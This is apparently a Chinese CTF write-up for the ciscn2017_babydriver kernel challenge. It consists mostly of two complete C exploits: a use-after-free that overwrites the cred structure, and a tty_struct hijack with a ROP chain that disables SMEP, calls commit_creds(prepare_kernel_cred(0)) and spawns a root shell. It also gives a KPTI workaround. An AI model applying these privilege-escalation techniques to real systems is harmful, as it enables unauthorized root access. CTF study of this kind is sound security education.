kernel UAF && 劫持tty_struct

ciscn2017_babydriver

exp1

fork进程时会申请堆来存放cred。cred结构大小为0xA8。修改cred里的uid,gid为0，即可get root

#include<stdio.h>

#include<fcntl.h>

#include <unistd.h>

int main()

{

	int fd1 = open("/dev/babydev", 2);

	int fd2 = open("/dev/babydev", 2);

	char buf[28] = {0};

	if(fd1 < 0 || fd2 < 0)

	{

		puts("[-] open error");

		exit(-1);

	}

	ioctl(fd1, 0x10001, 0xa8);

	close(fd1);

	int pid = fork();

	if(pid < 0)

	{

		puts("[-] fork error");

		exit(-1);

	}

	else if(pid == 0)

	{

		write(fd2, buf, 28);

		if(getuid() == 0)

		{

			puts("[+] root now");

			system("/bin/sh");

		}

	}

	else

	{

		wait(NULL);

	}

	close(fd2);

	return 0;

}

exp2

打开ptmx时会申请一个大小为0x2e0的结构体tty_struct，(size_t)tty_struct[3]的位置是tty_operations里面存放了函数指针，劫持这个结构体可实现栈迁移。

劫持write指针，则rax是tty_operations的地址，劫持ioctl指针，则rcx是tty_operations的地址

补充一下：在开启 KPTI 的情况下直接返回用户态会 segmentation fault，可以把原来的返回地址 get_shell 函数设为 signal 信号的处理函数，这样原先的 swapgs ; iretq 的方法就可以继续用了。（signal(11, (size_t)get_shell)）

当然我们可以直接用 swapgs_restore_regs_and_return_to_usermode 直接绕过 KPTI，可能由于本题内核是一个过渡版本还没有KPTI而是PTI，我并没能找到这个函数。

#include <string.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;

size_t user_cs, user_ss, user_sp, user_rflags;

size_t raw_vmlinux_base = 0xffffffff81000000;

void save_status()

{

	__asm__(

	"mov user_cs, cs;"

	"mov user_ss, ss;"

	"mov user_sp, rsp;"

	"pushf;"

	"pop user_rflags;"

	);

	puts("[+] save the state success!");

}

void get_shell()

{

	if (getuid() == 0)

	{

		puts("[+] get root");

		system("/bin/sh");

		puts("[*] get shell");

	}

	else

	{

		puts("[-] get shell error");

		sleep(5);

		exit(0);

	}

}

void get_root()

{

	//commit_creds(prepare_kernel_cred(0))

	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;

	void (*cc)(void *) = (void (*)(void *))commit_creds;

	(*cc)((*pkc)(0));

}

int main()

{

	signal(11, (size_t)get_shell);

	size_t rop[0x100] = {0};

	size_t user_buf[0x100] = {0};

	size_t fake_tty_struct[4] = {0};

	size_t fake_tty_operations[35] = {0};

	save_status();

	int fd1 = open("/dev/babydev", 2);

	int fd2 = open("/dev/babydev", 2);

	if(fd1 <0 || fd2 < 0)

	{

		puts("[-] open babydev error");

		sleep(5);

		exit(0);

	}

	ioctl(fd1, 0x10001, 0x2e0);

	close(fd1);

	int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);

	if(fd_tty < 0)

	{

		puts("[-] open ptmx error");

		sleep(5);

		exit(0);

	}

	int i = 0;

	rop[i++] = 0xffffffff810d238d; // pop rdi; ret;

	rop[i++] = 0x6f0;

	rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;

	rop[i++] = 0;

	rop[i++] = (size_t)get_root;

	rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;

	rop[i++] = 0;

	rop[i++] = 0xffffffff814e35ef; // iretq; ret;

	rop[i++] = (size_t)get_shell;

	rop[i++] = user_cs;

	rop[i++] = user_rflags;

	rop[i++] = user_sp;

	rop[i++] = user_ss;

	fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax;

	fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;

	fake_tty_operations[1] = (size_t)rop;

	fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax;

	read(fd2, fake_tty_struct, 32);

	fake_tty_struct[3] = (size_t)fake_tty_operations;

	write(fd2, fake_tty_struct, 32);

	write(fd_tty,"FXC",3);

	return 0;

}

巴特西

kernel UAF && tty_struct

kernel UAF && 劫持tty_struct

ciscn2017_babydriver

最新文章

热门文章